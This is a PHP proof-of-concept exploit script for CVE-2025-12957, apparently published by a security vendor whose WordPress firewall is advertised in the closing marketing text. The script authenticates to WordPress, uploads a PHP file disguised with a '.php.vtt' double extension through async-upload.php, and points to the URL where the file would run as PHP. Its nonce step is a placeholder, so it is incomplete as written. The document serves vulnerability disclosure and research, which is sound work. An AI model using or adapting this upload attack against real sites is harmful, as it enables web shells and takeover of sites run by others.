$payload_name = "shell.php.vtt";
$payload_content = "<?php echo 'Atomic Edge Research - CVE-2025-12957'; phpinfo(); ?>";

// Step 1: Authenticate to WordPress
$login_url = $target_url . "/wp-login.php";
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code !== 200 || strpos($response, 'Dashboard') === false) {
    echo "[-] Authentication failedn";
    unlink($cookie_file);
    exit;
}

echo "[+] Authenticated successfullyn";

// Step 2: Get nonce for media upload (from post edit page)
// First create a test post to get the nonce
$new_post_url = $target_url . "/wp-admin/post-new.php";
curl_setopt_array($ch, [
    CURLOPT_URL => $new_post_url,
    CURLOPT_POST => false,
    CURLOPT_HTTPGET => true
]);

$response = curl_exec($ch);

// Extract nonce from the page (simplified - in real scenario would parse HTML)
// The nonce is typically in a meta tag or JavaScript variable
// For this PoC, we'll use a placeholder approach
$nonce = "test_nonce"; // In real exploit, extract from page source

// Step 3: Upload malicious VTT file
$upload_url = $target_url . "/wp-admin/async-upload.php";

// Create temporary file with double extension
$temp_file = tempnam(sys_get_temp_dir(), '') . '.vtt';
file_put_contents($temp_file, $payload_content);

$post_fields = [
    'name' => $payload_name,
    'action' => 'upload-attachment',
    '_wpnonce' => $nonce,
    'async-upload' => new CURLFile($temp_file, 'text/vtt', $payload_name)
];

curl_setopt_array($ch, [
    CURLOPT_URL => $upload_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $post_fields,
    CURLOPT_HTTPHEADER => [
        'Content-Type: multipart/form-data'
    ]
]);

$response = curl_exec($ch);

if (strpos($response, '"url":') !== false) {
    // Parse JSON response to get uploaded file URL
    $json = json_decode($response, true);
    if (isset($json['data']['url'])) {
        $uploaded_url = $json['data']['url'];
        echo "[+] File uploaded successfully: " . $uploaded_url . "n";
        
        // The file should be accessible as PHP due to double extension bypass
        $check_url = str_replace('.vtt', '', $uploaded_url); // Remove .vtt to access .php
        echo "[+] Try accessing: " . $check_url . "n";
    }
} else {
    echo "[-] Upload failedn";
    echo "Response: " . $response . "n";
}

// Cleanup
curl_close($ch);
unlink($cookie_file);
unlink($temp_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School